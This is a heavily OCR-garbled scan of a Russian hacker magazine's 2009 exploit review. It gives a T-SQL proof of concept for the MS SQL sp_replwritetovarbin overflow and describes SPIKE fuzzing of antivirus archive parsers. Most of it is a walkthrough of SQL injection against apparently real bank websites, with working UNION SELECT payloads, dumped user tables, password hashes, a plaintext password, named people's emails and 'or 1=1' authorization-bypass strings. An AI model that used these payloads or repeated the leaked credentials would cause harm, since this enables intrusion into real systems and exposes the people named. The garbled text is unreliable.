fbi nOJlY414Wb OW146KY HeS03MO)f(HOCHl

o6pa­

60raTb lII(KfllO"leHt.1e no aApecy«Ox41414141».

Mibi!\tfflij Y~3BIo1MOCTb

He Kal.laeTC~ MS SQl Server 2008 B CBOIO 04epeAb, Microsoll

npl.1CBOlil118 YSl3BliIMoCTliIliI,o,eHTliItPliIKa41i10HHblYl HOMep «MS09-004» Mbl Y,QaJlIo1M xpaHIo1MYfO npou,e,o,ypy. ECJlIo1 He XOl.leWb TaK nocrynaTb, MO>KHO

[mlcrosofl.com/technet/securily/advisory/961 040.mspxl. ,qonOJ1HliITeJlb­

npoCTO ee OTKJli04Io1Tb:

HylO liIH<py no KOTOpOMyTbl CMO>KeWb HaYlTliI BABa KJllilKa. DOJ1ee nOAPo6HO n041i1TaTb05 OTK11tO'-leHliIliI xpaHliIMblX np04eAYP MO>KHO 3AeCb (<<Removing

use [master]

an Extended Stored Procedure from SQLServen - msdn.microsollcom/

GO

en-uS!llbrary/aa215995ISQI 801 aSQxl.

REVOKE EXECUTE ON (sys) . [sp_replwritetovarbin) TO

05

(public] GO

ESETNOD32-06XOAAHAllIo13A

npOBepliITb Ham-lYliIe Yl'l3BliIMOCTItl MQ>KHQ CJleAYIOll.llilM C4eHapl4eM Ha T-Sal:

f.'1'flIlI. DECLARE @buf NVARC:-IAR(4JOO),

3al.lacrytO caMlil >Ke cpeAcTBa 6e30naCHocTlo1 cOAep;;<aT B ce6e yA3BliIMOC­

@val NVARCHAR(4j,

Tl4. Hanplo1t~ep, Apal1Bepa cospeMeHHblx aHTl-1Sl-1pYCHbIX npoeKToB Kl-1WaT

@counter nIT

OWl46K8Mlil npl1 06pa60TKe >1CKJHOl.leHIo1I1, a TClK>Ke B pc:'8KLI,Ml-1 Ha GHeApeHl-1e aHOManl-1Y1. Tyr 1II Kaspersky Internet Security Ikl1.sys),

declare @retcode int,

@end~offset

101

Defence W2ll

[dwall.sysl. Avira Premium Security (avgntflt.sys), BitOefender Total

SET @buf = •

-=--nt.

Security 2009 [bdfndisf.sys), ZoneAlarm Security Suite Isrescan.sysJ. Panda Global Protection 2009IAPPFlT.SYS1, Internet Security 2009 (fsdfw. sysl. Ha3B8HHbie 06beKTbi 6bll1M nOpa>KeH bl c nOMOUJ,bKJ q>833vtHra IOCTL~

@vb_buffer varbinary,

3anpOCOB Cfl106blMLil MeTO,ll,aMlII BBOAa-ebIBo,n,a [0 KOTOpblX 5'l He TaK ,o,aBHO

@vb_bufferlen int,

ynOM~Hafl, onl-1CbISa5'l Y5'l3Bl-1MOCTb 8 ,n,pai1 sere PGPI. Ce~Yac >Ke TeMa s

@buf nVilrchar;

,n,pyrOM. nKl60~ aHTl<1Bt.1pyc nOAAep>KL-18aeT onpe,o,eJl€HHOe K0J1W1eCTBO

exec master .dbo. sp_replwritetovarbin 1,

pacnaKOBblBaHl-15'l TaKlIIX ¢>a~J10B pa3pa60T'-lMK.l-1 C1HT1II8\o\pyca '-laCTO nl-1wyT

apx~BHblX ¢>OPM8TOS ¢>a~.nOB IRAR,

ZIP, LHA 1II T.,ll,,). Dvt6J11olOTeKl-1 ,£VHl

8 AOKl1a,o,e Hac

@end_offset output,

CaMvt, \1 80T OHl-1-TO MoryT 6blTb no.o.aep>t<eHbl yR3Bl-1MOCT5'lM.

@vb_bufEer outp-:.It,

6YAyT l-1HTepeCOBaTb l-1MeHHO pacnaKOBll.ll-1 K\o1 apXl-1BHbIX tPopMaTOB <paYlJ108.

@vb_bufferlen output, .

B KayeCTSe MeTO,ll,liIK\1 npOSepK\1 Yl'l3B1<1MOCTeYl Mbl5y,o,eM lIIcnOflb30saTb re­

SET@val = CHAR(Ox41)

Hepal\V11O ,n,8HHbIX. MeTOAbl reHepaLl,I-1l-1 MO>KHO p83.o.enlllTb Ha lIIHTel1l1eKTy­

SE'f @counter = 0

aflbHble. Kor,ll,a y Hac eCTb cneLl,lII¢>lIIKaUIo1R TecTlIIpyeMoro ¢>opMaTa ¢>al1flOB,

WHILE @counter < 30CO

V1 HeV1HTeJl.neKTya.nbHble - Kor.o.a no,o,pa3yMesaeTCl'l. I.ITO Mbl HI'l4erO He

BEGIN

3HaeM 0 TeCTlIIpyeMoM ~opMaTe.

SET @counter = @counter + 1

SET @buf ::: @buf + @val

END

M

tffi ffl1 tl

KaK np8Bl-1JlO, npl-1l-1cnOllb30BaHl1lil HelilHTefllleKTyallbHoro MeTOAa reHepa­ L\l-1V1 Hy>KHO. 4T06bl,ll,0 H8'-laJla npo4eCCa reHep8L1,I'll-1 y Hac 6bl11 Hel1cnop4eH~

SET @buf ::: @buf + " , , ' '1' , , ' '1' , , ' '1' , ,

"1"

I'

'1",' '1",' '1",' '1",' '1'"

Hbl~ (l-1CXOAHbIYlIq>aYln

1. CJlYl.la~Hble ,o,8HHble. nO>Kanyi1, 0AlilH lot3 caMblX nplllMI'lTliIBHblX lil npOCTblx MeT0AOB. nepe3anlilCblBaeM 4aCTbAaHHbix l-1CXO,QHoro <pa~na CIlYl.lai1HblMlil

EXEC master .. sp_cxecucesql @buf XAKEP 05/125/ 09

AaHHbIM14.

~

047


»

~

8:: ..... 0M

~

b.

-o.-lW>w.

:;1~c:nAOUTOB

b.

1:11:::1 •• ­

~~ =:~~::J_=-' ::<::~~-::::.::;=::;..-::=-...=::"

OBOp

~

~~~

0630P 3KcnAOUTOB

s-binary(·41424344-);

0630p :;Kcn.·\OUTOB

!\ !\

s_block_end( ·somefiledata") ;

...::;;_-~~~':.':L.:;..----_. __._''''-----_.

CHJya11a CKpl>1nT Ao6aBn51eT 4 Hynesblx 6aCiT3 8 8bIXO~HOLii 6y<j>ep. 33TeM ,Il,06aSMlIOTC>l ew,e 4 6a~TCl (Ox414243441. nOCfl€ 3aSepWeH(;l~ 6110K3 4

....:;:::;.';'::-.:::;'::­

==::::;:=.-::::;;,::::::-=:....:;..::=::=;?..:;·~:;;,:.:$..:7.:::-··-=--=.."";'_

.., -

. --_...

_.~-_.~-­

nepSblX Hynesblx 6aCiTa 3aMeHI'lJOTCSl pa3MepONI 6110Ka B ascii-¢opMaTe.

Ha BblXQ,Qe nOflyyalOTC~ cne,QYIOLlIlJle .o3HHble: L..ABCD. nocJle Toro, KaK Mbl pa3pa60TaJ11>1 11lJlHeCi Hoe npeACTaGfl€HlJle ¢opMaTa q,a~Jla B BVl.oe

~._,~._-_.-_._­

SPI KE-cKplJlnTa. Mbl MO)f(eM nOMeTIilTb HeKoTopb1e yaCTlJl :::Kpl>1nTa KaK

a lJlllO.QTsepllY1na B03MO)l(

«nepeMeH~tble»:

s_block_size_ascii_word_variable (. sOffiefiledata") ; / /

2. nepeCT<3HOBKa 6lJlTOB. Ka>KAbl~ pa3 npYl reHepau,I'lI'lIilCnOpYeHHoro ¢aiina

'{;'ICJ'lOBa:ii nepeMeHE<'l.H

s_block_start ( ~ somefiledata" ) ;

M8H>leM COCTO~Hl'le 61'lTa \t1CX0.o.Horo ¢ai.iJl3 Ha npOTltlBon01l0)l(Hoe.

s_binary_variable ( "41424344" );

3. 5flOYHbll:1 MeTO.o._ Ha cero.oH~WHYI~ AeHb - O.oIllH lJl3 caMblX 3epepeK­

s_block_end("somefiledata·);

/ C':,·PO"'.OBGI.$1. nepeMeHHaSl

H1BHbiX MeTo.oOB reHepal.\l'llJl .oaH HbIX. Cpe.D,\.1 $a33epoB. nepSblMI'l peall1'l30Saew lJlX .oaHHbll1 MeTO})., 6blll SPI KE [sblnYU1.eH S 2002 )J,3BlJlAOM

SPI KE cop.ep)l(VlT Ha60pbl YVlC€J111l CTpOK [raK Ha3blsaeMbie «n110XlJle

A~TeJloMI. KaK pa60TaeT 6JlO'-lHbll1 ¢a33ep [Ha nplIlNIepe SPI KEI? 00106a

3HayeHlJlSl» I. KOTopble Mory-r 8b13SaTb c601<1

¢a33epa - 6JlOK !cnlllcoK CTpyKl)'P, COAep>K3ll..\lJlX lJlHepopMau,Y11O 0 p<33­

Max, HanplJlMep, YV1Cfla: O. -1 ,4294967295.0.0x40000000,Ox7fffffff lJl

Mepe 6JlOKa

III

.o.pyrlJle npOlJl3B0J1bHble }).<3HHble). PaCCMOTplJlM npoCTo~

TeCTlJlpye MblX nporpaNl­

T.n., crpOKlJl <,%n%n%n%n), ((\xDD», « . .1../..1..1../», CTpOKlJl Vl3 ClJlMBO­ .nOB 'A' pa3HoLii AflVlHbl.

SPlKE-CKPlJlnT:

B

B npou,ecce reHepaL\lJlVl,oaHHblx SPIKE 3aMeHR­

eT OYepe)J,HylO «nepeMeHHyiO» YlJlCllOM lJlJllJl eTpoKo f1 10 Ha60pa nJlOXV,X 3HaY€HlJlCi,

o4epeAlI1 no.o.CTaBflSlTb 0, .. 1, nOTOM 429£,,967295lJl T.A. nocne Ka)KAO~

-l-'rbIliQwelJ.). l~

Te, BMecTO 4l>1Cno8oC'. nepcMeHHoLii SPIKE, 6YAyT no

s_block_size_ascii_word(·somefiledata·); s_block_start("somefiledata·);

He4Hbf~

UlJlKlllJl co BCBl'J

-s;;;. ~."lI"{COO

..PROTAmYtI.. r...WI......

ill F'PROTlane"'~

..

!/~....'"

9 .........

­..­

",."

lJl Toann pecvpc

ntiviruSHeoT

;lSI.! $ r'~!)$0'1% '~~4 "'r-~-""'~

- ._­-,.

........

<11 _ _

<1M to ,-..... 10<.._

OOSW....

I11C5I ob.l?a3uoSOCTbtd.

.

I

.~ r - ~--- c.".~••_.. _..sc-o ............ ~,.,."."...,_

of_

~.­

'-

000.....,1....

.

F~w

e--~

:~<b"'"

..... _ " " "

-- .... --- --

Sf""9'

Ih

''''>'9"_ ....".-1-,."'"

1I1

t.6I<'" •. W"fl!!ll!I

··• ,"'­-•• 00

---.--- --

M'~

"" ""

'.IJ:l1<6

''''''.....

WlIOO

::

00

1.1 ......

.f?

...

I{/rb~-.

~

4\l.1U

'16'"'

I.''''U

waa

::~:: 2,';:10($

00 00 00 W 00 O(l

"''"' ',s".n;

~........,-.

00

'.tlfor;

~:'''

~

:~:

~

-.",.

~

~ .... ~••o

S't'lIl,M

ob25«_

MIT" ct>Z-.

~_

<N~

~

f~,",

',)Sf,",

','<ilI,",

v'

__••'" 1_ _ 1

D¢,_"~_"",,,

,,<)

l"",,,,,,""'00'"0

_ _.. _ / 6

1,6Ul1i

'.IZIIfCl;

1.$"'" 1.W1"li

00-_."

:~ ~;;;..J.J,.,r.~_:::=:a-

-,.

_ _.....

~"

Th-....

!<'Wo<"~"""".I""'"""N'I7''''

e- n-......,....

_""'P."",

r __ df"""""..

c.o-.

~~_~_~

~

too

N. lho_. 1_,...

~.~_

-~~

__ mftH $l'S1£M

mT(H

......

:.=~ ~:= <I>WM__

(1).'''''''

J"'I"P'ot\J..

-!..­ I'~~

_,....

_ .... -...."'..",

'OCA'. SU"o'l<Z m![H

_

~

'.Q56>'06

s;:o ...

00 00 till <»

........ __

az:

<).>oo~f"

j.,,~"""

­

H

(;l

••

,-,~­

SJ'UI;

:!,'_JilIII!!I,",~.,.l:"""

'"

- .J9IQY.,3Ka ueHTPa.nbHoro npoueccopa n04n1 MaKCl-1MaJ1bH

..-. Q

"

_~_I.'"

.-

~

N,to\\,••I,_W".I""

1_.

fiiiiiiiffiuiiiliWlAfJWUI"u ~

f

l>Ol... «Io .............,

0 0

~(wn~~.

" .. tv..""

_ _,

ljl<;:lO:J$I~~IO""

00=/& 11"12OOI1~'"

---""'-_

...

__.. a· .-,...'" .,,,,,,....,., f<f«.""

.........0 ••'"

§._ . .. _-_·_ .. ~o·'-0 ..

_

~:!!.':!­

~

:1'$

03

l.<OlI1ti

~_

00

m_

..

11,1211Kl; '.S<'o(I; "'161:1'

~

en

'O.~1<i

OIl

OIl OIl

v., .. 1,"''''

. . -....

'''"''' M'::"'; ',::064 I,6.lII1S

<t:><_ d>2~

OIl OIl OIl 00

.. _..._

............. SVS'EM

00:,'''''''

00 " .....

'-.0" fP«<T'".'''''

LOUIl:ll.O'tla':

~,,'O

''XA'iU.'IlO:

00 00 OIl 00

-.... _ .••• 0'\1.....

_.-

O~

048

---"0"" ·4 tl>Z_

_M.O>O,-<Slt;>< _ '.._ d>l_ _ ... Mm<

_..",

~

~

~~f<.IcTPO"O.':";;'~'"

d>2-. ~

~

.......

~_:sot"'lC£

....

.. _ _ --.-.-

l,ll56Q ",<$1<$

..'.-K' ,.......

I,,",,'"

I~_,I

_. ,­ ---_.· -----_. .. - ·· ,-­ .... _ _,....

"" ..,..

~M· ~­ ~M'~ ~~~~-

new•.-

~M'~

4

fUJI""",.'"

-----

'"~

4Il

• 'SSM •• ,..,.­ I •• ,=­ I. •• ',1'11'" l.~'"

S,l"~

\._'<1 ,~-

S.nl'"

•• •

s,~

...

'MOO

I,":""

XAKEP OS 11251 09


063;°P

05S0p

3KCnAOUTQS

3KCnAOUTOS

,

1\

_............... _-..­­

....... .... -.,_. ".,,"""'"

--,_ ­ ---

.... <Iol_ ...........

.......-,... _ ..._<1>.\

_ _ _ \"OII>_'}

....... .......

.... _"""-"'""''-''

-_. --::::::: --

'-"-'--~-~~"~

,._,."" \.

...."..".

"'''''''_ .,., .

_.or._ -~

_t:<o

..-,..",.

~~I

_ _ J."'-"-'­

rWe -~3a CT bJH W B

--

~~

J:-'

~

0 0

0 0

m'~

m_ ~-

\!0

~~-

~.~

0 0 0 0 0

~~ ~" ro_

O

~

0

a

aT

,-­-­

,~-

.....

0

l.'~G

~

A60HEHT BCErAA B BbIlo1rPbIWE!

••_ 4

"'''''''' ','.'" t,'"''

t,_"" >,"'''' '.",,<f ~,~'"

':0$}

;'~~.

.~ ,~~

He

" TBKOj;! 3aMeHbi SPIKE 3arH1CblsaeT BblxoAHble AaHHble 6 O"lepeA­ HOi1 epai1.n. Am! 10"0 4106b! He ,D,I1CKpe,D,v1Tl-1pOaaTb pa3810Hlile VX­ KO,D,ep08 111, COOTBeTCTBeHHO, 8€H,D,0P08 aHH1BI1pyCHbiX KOMnaHlilL4. Ha MeKaKJ Ha TO, "ITO no.o06Hoi1 «e,D,oC1» .0.11" 8HTlt1811lpyca MO)KHO 3aseCTI1 ere B 5eCKQHe4Hbli1 lJ,Io\KllltlJlltl OTKa3 8 06CJlY>KltlSaHltlltl. 3TO Ha611KJA8CTCS1 11 e NOD32 co BeeMIil nOCJle,D,HI1M\1 06HOBl1eHI1­ "Mill. CXO>Kl1e Y>l3BI1MOCn1 6bl1111l o6Hapy>KeHbI B: .- Bitdefender Antivirus 2009 - Hecnoco6HoCTb KoppeKTHo o6pa6aTbI­ Ba1b CAB-apxlilBbl; • Avast! - HeKoppeKTHa51 o6pa6on:a RAR-apxlIlsos: • Fortinet - HeKoppe,<:THa" o6pa6oTKa apXltlB>1pOBaHHblx q,aiilJlOB. n03KCnep!o1MeHTlt1pOSBTb COB€TylO c q,a33\.1HrOM clleAylOl.J.Ilt1x ¢opMaToe q,ai1!lOs: Zip, Zip SFX, ARJ, ARJ, SFX, TAR, GZ. ZOO, UUEncode, TNEF. MIME, BIN HEX, MSCompress. CAB, CAB SFX,

LZH, LZH SFX, LHA. RAR. RAR SFX, JAR, BZ2, Base64. Mac Binary.

ASPack. OHM. DOC, EML. EXE, FSG. HLP. PDF. Yoda. ELF. PPT. GPO. 3a6asHbli1 nplilMep - .oa8H bl M-,D,aOHO aHTlt1B~pyc F-Pot He aHa­ 11J.13lilpOBaJl3anap0l1eHHble 21 P-apxlt1 Bbl. 3TO 6b1Jlo 04eHb JlerKO OTeJleAIoITb, nOTOMy 4TO n\.1CbMa CanayaMI1, npoxOAlt1BWlt1e 4epe3 npO,D,yKTbl F-Pot IE-mail Gateway sea nner, Knpl.1Mepyl. npltlXOAlt1Jl/.1 n0J1Y43re;1lo CMO.ol'lq,lt1L1l11pOS3HH0i1 TeMoi1, K KOTOpOi1 Ao6aSMlJlaCb cTpoKa «Attachment not scanned».

m6 iHiQ • ESET Smart Security4 • ESET NOD32Antivirus4 • ESET Smart Security 4 Business Edition • ESET NOD32 Antivirus 4 Business Edition • ESET NOD32 Antivirus for Exchange Server • ESET Mail Security • ESET NOD32 Antivirus for Lolus Domino Server • ESET File Security • ESET Novell Netware

• ESET DELLSTORAGESERVERS • ESET NOD32 Antivirus for Linux gateway devices

Mffiffifflfil YH3Bl.1MOCTb 06Hapy;t:;eHa Tbeplt1 30JlJlepOM [blag.zoller llll. HO nOAPo5HOCTlt15b1Jll.1 pacKpblTbl Henocpe.oCTseHHo TOJlbKO BeH­ AOPY. Y/:ll.1BIHeJlbHo. HO peaKlJ,'HI ESET OKa33flaCbAOCTaTO"lHO xopowei1 (flblnycK o5H0811eHltlH no \.1CTe"l€H \.1 \1 14 AHei1 - ~ !:Qm/supDort/updn!es ohp?pageno=31. "10 rOBOplt1T 0 rOTOBHOCTlt1 KOMnaHl.1V1 C0611KJ/:laTb paMKl.1 SOL lt1 nOA,D,ep)l(l.1SaTb 6e30nac­ HCCTb npoAyxTOB.::JC

XAKEP

os 112S/

09


. ..

...... E:3 ..... 0M

...

~

I NQNAME;


-.. -..

•-.- 83AOtv1

,•

~

--

• --• • •-

, , ,

,• ,

AKOI1 BbIBOAAAET"IETKO nOHHTb, rAE H~XOAI1T­ CHOCHOBH0I1CEPBEP6A3AAHHWXCOBCEI1I1H­ ll>oi1. nOTOM nOT IP'WHI1K MACCI1POBAHOATAKO­ BAJ1CH ~ (! T'-~)'~';;';;;';~

COOTBeTCTBeHHO. peaJ1l.13aLl,lII~ aTaKIo1 HanpSlMylO 3aBIo1ClnOTnOSeAeHL1Sl Kfll1eHTa l-1 ere

no, He

¢aKT. "ITO. ,Qa)Ke eCJllIl 3J10SpeAHylO CCblJ1KY OTKpO­

fOT, xaKepyynenH KpVln'l'-lHble AaHHble.

80 MHOr>1X

C08 peMeHHblX 6pay3epax npli1cyrCTByeT WTaTHaS1

statebank189S.com/news.asp?id

enrollment mvzwt tumv 16 On 1. ine Enrollment 1 0 Business .Online@ StateBank1898.com 0 holY I ik 15 Contact Us 0 1 Net'T'eller@ statebank1898. com 0 admin Oqjjm{ [us{9@A@4 Admin 0 0 jlott@gibbes.net 1

~6~AND+l=2+UNION+SELECT+O,tabl

e_oame,2,3,4,5,6+from+information_ schema. tables~WHERE·~table_ schema=%27sbthappyrudie%27

3aLl\L-na OTTaKOro pOAa Hanacreiii IX5S-¢li1JlbTP ... aHTWpYlWlt1HfOBbliii 4>!M1bTP e

nJlart1H

Mozilla,

OTKJllOyeHL1e

IE8, NoScripl­

JsL n03TOMY

H83S8 HL.1>l Ta6Jll.1l.J, OK,nal1l.1Cb BeCbM8 \o1HTepeC­ HbIMIIl: zipcode. users. uploads_navlile. uploads.

cne.o.ylOLl\ev. u,e.nblO 6blJ10 Haf'ITl-14TO-TO nOllY4we.

states. rate_watch. press. onLine_banking. masler.

V1 el1\e KOe-YTO, 4TO B ony6nl-1KoBaHHOM BIIl,ll,e Bpl'l.o.

Hanpl-1Met:l. 3KcnJlyaTaUl11IQ SQL -injection !.jepe3

faQ....calegory. faq, custom. content. brdnch. banners.

J1~

napaMerpl-130eaHHbfiii fllt1HK

npOCMOTp K0J10HOK Ka>I<Abl~ pa3 0CYU.l,eCTSnSlJ1Cl'l TaK:

KOMMep4eCKMe T8(:1Hbl 38 Ka.o.POM

6bl nOHpaSV1J1OCb C6 3Toro 6aHKa. GCTaBl.1M

http://~~1.statebank1898.com/news.

statebankl898.com/news.asp?id~

asp?id=6 '

6+AND+l~2+UNION+SE[,F:C'T'+O,colum

UEJlb: UNIBANKHAITI.COM (<!lPAHUIo1H)

Miccosoft OLE DB Provider for ODse

n_name,2,3,4,5,6+from+information_

31"OT CTpaHHblH Q>P8HKOSl3bI4Hbl~ 6aHK, npV1Kpbl­

Drivers error '80040e14'

schema.columns+WHERE~table_

BalOll~l-1(:1cSl3aKOHaMl.1

[MySQLl [ODSe 3.51 Driver)

name=%27online_banking%27

MeYTa. Wyn<a. Cl.1TYd~l.1l'1 TyT aHanOrl'lYHal'l. TOJ1bKO

[mysqld-5.1.30-community)You

have an error :"n your SQL syntax; check the manual thaL corresponds to your MySQL ser'Vl:!r version for

the right syntox to use near" ORDER BY post_date DESC, id DESC' at line 1 /news.asp, line 54

ramlil- MOP, KplIlMIIlHaflbHap,

SOT HV1 O,D,V1H 38npoc. .o.a>Ke npocTei1Wl-1Ii1, He

IIlC~

OTseT 6a3bl: sort_order.logon_urL id. active.

nOflHl'lflCl'l Hy>KHbIM MHe 06pa30M.AeJ1o B TOM. <.;TO

account.

pa3pa6oT4MKaMM CV1CTeMbl6blna 3a.nyMaH8 li1,ll,el'l Wli1tPPOB8HII151 ,a,aHHbIX, XpaHSlU.l,li1XCl'I BTa6nl.1l\dX.

statebank1898.com/news.asp?id= 6+AND+l=2~UNION+SELECT+O,coltlm

unibankhaiti.com/actualites/index.

nJlame,2,3,4,5,6~from+information_

php?id_article=464~AND+l~2+tmION+S~

schema.columns+WHERE+table_

LECT~O,CONCAT(Ox7873716C696E6A6265

name~%27users%27

6"7696E, (SELECI'.fCONCAT_ws (Ox3a3a. %20

Y3HaeM n0J1b30BaTenl'l:

table_name,version())+FRoM~informati

OTse-r 6a3bl: username. password. Id. lull_name. statcbank1898.com/news.asp?id=6~A

form_enrollment. form_contact. email. active

ND+l=2-L~ION+SELECT+O.user()

OCT8nbHbie AaHHble He oc060 S8>KHbl. KCTa1l.1. KaK

,2,3,

Bl.1Al.1Wb. napaMeTp c 6a;j0~

4,5,6

1'1

oT6pocl.1n. nOToMy

ou-schema. tables) ,Ox78B'716C696E5A65 6E64) ,Ox'll) ,Ox71) ,2,3,4,5,6,7,8,9­ Te)l(e caMble warM no pa3seAKe KonOHOK npo­

'"lTO Mbll.1T8K HaXOAV1.nl.1Cb S3T011683e. OAHI1M

,oenblB8Tb He 6blJlO cMblcna. n03TOMY - cpa3Y

GTseT 6a3bl - «sblhappyrudiera208, 109.78.117»

3anpocoM l'I3anony4V1.11 Bce V1HTepecylOU.l,ee 1113

pe3YJlbTaT. KOTOPbli-16bIJl nonyYeH 3d 5 Ml.1Hyr:

- rOBOpHJl OTOM. "lTO Bce KpyrV<JlOCb+sepTe­

Ta6nl-1l.J,bl nOflb30S8Tenei-1:

nOCb Ha Y,l\aneHHOM cepsepe. a He o¢caC1TC (64.202.178.1621. rio JlorlllKe seU\e171. TaM ,a,on>KeH Kpyn1TbC>l

npo~ecolllr. SWIBJ1f1eMbl~

no Hallll1­

'"H11O scero ASYX nopTos (443~ssl, 21-ftpl:

statebank1898.com/news.asp?id=6+AN D+l=2+UNION+SELECTTD,database(),2, 3,4,5,6

stat0bank1898.com/newS.Bsp?id=6+AN D+l=2~UNION+SELECT~O,concat(userna

me,Ox20,password,%20id,Ox20,full_ name,Ox20,form_enrollment,Ox20,foDm_ contact,Ox20,email,Ox20,active) ,2,3, 4,5,6+fr'om+users Pe3YJlbTdTOM S3f10Ma I1SMnOCb:

OTseT6a3bl -«sbthappyrudie». I.1TO BKOHe4HOM l-1TOrel'l HnOACTClSHJl BCJ1eAYIOU.l,IIl~ 3anpoc, Cu,enblO Bblse.o.aTb, KdKl.1eTd6J1L-1u,bl HaXOAIIlJlIllCb B5a3e:

Tt,'ithers 0 0

6a3a: uniban2_DB ['r-able: Columns)

(O]staListiques: id,username,type_d ction,date,heure,page,ip,host,navi gateur,referer (llsuccursales: id,statut,nom,desc ription,adresse,directeur,telephon e, fax, reseau, inaugurat ion, horaire, services (2Jt,;l([iches: ID,source,lien,debut,fin,place (3]tagences: id,statut,nom,descript


»

,: !

B::AOM

-_ . _-.--­

I

-

<:" ,,' --,...­ 0, -

;;_.~~.:'_

., !_.. _ _

8"'" nNl""M (In",lid no.. n~..,.)

=

:----~-~~ r-­

rr.;;;;;=..-;;,~:.

np~MEPHOTAK M01R;T Bblr11HAETb npOUECClfH",

4ETbiPE OCHOBHblX n011b30BATE11H B CIo1CTEMEVn­ 10111101 TPAAIo1~1010HHbllo1 EMPLOYER' LOGIN. 310T IP Mbl PAB11EHIo1H 6AHKA. VHAC ECTb 4E110BEK 1013 OTAE11A BbIVAI1111011o13 6A3bl AAHHblX nOC11E npOBEAEHIo1H jvnPAB11EHIo1H n11ATE>KAMIo1(ONLINE ENROLLMENT). SaL-INJECTION~ • .­ KTO-TO BPOAE CEKPETAPH 101 AAMIo1HIo1CTPATOP

!

~·~:...;E~o:-;~

--:,

\

.:7.. _'::'.'::" ~~

.~

'!

.• _ _

--'.--'

~ -::::-;.".='

.•.

,::~

;.f..-::~--"~

~

~

~·.",,",,-Ol

=:;:::~----_.

..~-

:::,';,,:,,""-~

=~r:~.= = -:::r== ~.~

::::::::-...':~-~

..,.­

.:;.:::::--:;.-=::::.;.'-=.~--~--

=.---=::=-.=-..­ ~=_."-,-.---

nopolo1 AlJrAAATbCl1lf5YCnEWHoCTIo1 ri0,D,60PA KO­ OHOK TPVAHO, OC06EHHO, EC 11 101 Tbl 06PAlllAEWb BHI1MAHIo1EHABHEWHIo1~BIo1ACA~T

ion,adresse,dlrecteur, telephone, fax,reseau, inauguratio n,horaire,services [4]tannonces: annonceID,image,titre,libelle,date,pos te-par,actif

nOA06HAH ABTOP'113A~IHIHEBEAETHIo1 K YEMY XOPOWEMV

irecteur,telephone,fax,reseau,inauguration.horf.lire,se rv~ces

[ll)ttaux: id,date.ac~at,vente,brh [12)ulilisateurs: id_utilisaceur,log,pass,droits,acces!

[5!tdscLuces: AstuceID,titre,accrochc,contenu,modifi e-par,modifie_le,actif (6)tcatfaq: id_cat,categorie (7)temploi; id_orticle,image,date,titre,accroche,conte nu,expirdate,ecritpar,postepar,accif [8Itfaq: i~faq,id_cat,question,reponse [9jtnews: id_article,image,date,titre,accroche,contenu ,expirdate,ecritpar,postepar,dctif [lO]tsuccursales: id,statut,nom,descriptioI"adresse,d

MOl-1 n03HaHl-151 q,paHL\Y3cKoro - Hynesble, 1-10, np\.16erHYs KnOMow,V1 OH.na~H-nepeBOA4Io1Ka. >1

cpa3y nOHSIfl. KaK251 Ta6n III lola l-1 KaKltle ;;:0;10HKIII MHe

Tpe6YKJTc>l!cMOTpl-1 121

[OJ 1:manitou:[6812478366f92bf385d8b611152ec74:7777777 :indcx.php: [1l

2:newsmaster:9ca43771207861aOdd00956bb~03a95a:7777

77:admin_oews.php: [2] 3:ratemaster:dd8f54c23ee127997146671e7elfOelb:0003 OO:admin_succ.p~p:

&

Pros 8:.

[3] 4:ratemaster:dd8f54c23ee12799714d671e7elfOelb:0007 OO:admin_succ.php: [4) 5:reseau:117ba14f8471a7ec247bbCf7112ebbaf:001100:i ndex.php:

Cons B IJcno."'.J:.::I)E:.EtHIJIJ

.E18TOh1.:STIJ3IJPOB.:SHHbl>::

eRe '~(:T8

'JA;:( SI:JL -injection

8 CTaTbe l'I He npVl6eraJ1 j( aSTOMan13l-1p08aHHbIM cpe.QCTBaM, \.1 TOMy eCTb pl'lf\ 06beKTl-1BHblX npIll4l-1H. Pa60Ta PY4K3Ml'1 ynpa>KHl'IeTT80l-13HaHlo1l'1. Vl ell.\eTbl caM Sl8JlSleWbCl'l rapaHTOM 8cero, 4TOAenaeTCtI KOCS'lKSQL

&

Injection Pentestmg Tool ISIPT) 3ClKJ1i04aeTCSl 8TOM. '-ITO Kor,Q3 X04eWb no.nY"-ll-1Tb cnIllCOKT36nl-1~ WIlli A3HHbie 1113Ta6J1l-1~b1 npl-1 8KJ1IOYeHHO~

Pan'lQli!:t Kl-1TaliicK3f1 XlI1pOM3HTII1Sl, 3 90% CllY4aes orlpeAemllOU\a­

raJ1Ke LIMIT, TO AaHHbl€ B03Bpaw.aTbCI'I He 6YA'fT. ECJ1l'13-ryon4l'\iO CH5'lTb

l'IC5'l KaK nacc-rpa66ep. Ha C3MOM >Ke jJ,e.ne. :no n04H1 yHlII8epeaJ1bHaSl

- see pa60TaeT npaSIIIJ1bHO. no c.nosaM p33pa6oT'1I11Ka SQLHACK. 21TO

yn1J1l-1Ta AJl51 3KCJ1110C1U1Hra SOL-injection cpa3Y 8 pl'l,ne 6a3IMySQL.

e.o H€IJ,O,!J,enK3.

MSSQL, Oracle. Sybase. 082. Access. Inform ix, PostgreSQL, SOUte).

\, ,/, ~052\'~ ,;,.,,~; ....0i'7

~,:J< I­

~;1~": t~~~t·


....­ .....

.

r;;:;--­ ==-~.-

._....

~~~-~.~,­

~_.,.....-.

.........-..

B3ll.0t-.·1

_.

. ."'-_._­

----.~--_.

W,.....-.. __ ........ _W•• _·...._ :__ ~

...

."M.~.-'_

-,

~,

:::-:i-~'--:r:=­

-"-~i

It",-":-:

""'" HAMJ,1 «CHAMBER'S BANK». XAJlATHOCTb nEPEA npJ,1 npOEKTJ,1POBAHJ,1J,1 OTKPblJlA B03MO>KHOCTb 3JlOYMbIWJlEHHJ,1KY npOBECTJ,1 Sal-INJECTION, A AK>KE HAiIITJ,1 CPEACTBAynPABJlEHJ,151. OCTABJlEH­ HbIEAAMJ,1HJ,1CTPATOPOM Martin:Fankhauser:Atlantic f'orfaitierungs AG : Qthmarst.rasse 8:8008 Zurich:NoDatalnColu

----=-"'..

__

------ _._ ... ..._----------­ ---

BOT. BAap OT MeH~, nO,ll,60pKa cneqlo1aJlbHblX Bbl­ paA<eH"~.

KOTopble MOryl 6blTb 04eHb KCTaTVI nplo1

npoBe.o.eHIilL.1 aTaK TaKora p0,[la:

mn:&~itzerland:fankhauser@

-~---_._---

otlanticforfaiting.com:

=;.-.:==--_._-~_.­

pass: atlant ic

Giorgi:Kekelidze:TBC Bank:Marjanishvili 7:tbilisi:Ol02 :Georgia:gkekelidze@tbcbank.com.

nbITAEMC51 PEAJlJ,130BATb «AUTHORIZATION BYPASS»

or·1'='1·or'1·=·1·. 'or'l'='l'or'l'='l or or

